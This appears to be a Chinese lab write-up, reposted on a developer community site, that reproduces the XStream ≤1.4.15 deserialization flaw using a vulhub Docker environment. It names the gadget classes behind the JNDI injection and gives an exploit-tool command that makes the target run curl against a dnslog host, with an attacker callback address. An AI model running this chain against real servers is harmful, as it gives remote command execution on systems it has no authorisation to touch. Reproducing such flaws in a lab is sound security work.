今天给大家介绍,XStream是一个简单易用的开源java类库,在解析XML文本时使用黑名单机制来防御反序列化漏洞,但之前的版本黑名单存在缺陷所以造成反序列化命令执行错误,下午具体来看一下复现过程吧。
XStream是一个轻量级、简单易用的开源Java类库,
它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,
但是其 1.4.15 及之前版本黑名单存在缺陷,
攻击者可利用javax.naming.ldap.Rdn$RdnEntry
及javax.sql.rowset.BaseRowSet构造JNDI注入,进而执行任意命令。
Xstream<=1.4.15
0x03环境搭建
文件:docker-compose.yml
version: '2'
services:
web:
image: vulhub/xstream:1.4.15
ports:
- "8080:8080"
命令:docker-compose up -d
环境启动后,
访问 http://your-ip:8080 ,
发送一个正常的XML数据包,
来确定环境是否搭建正常:
地址:https://github.com/welk1n/JNDI-Injection-Exploit/
命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl jsqghe.dnslog.cn" -A 192.168.1.142
使用基于SpringBoot利用链的RMI地址作为<dataSource>的值.
查看恶意的JNDI服务器请求情况,
发现漏洞服务器访问了JNDI服务并执行了curl命令,
可以获得dnslog请求记录:
dnslog:
*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。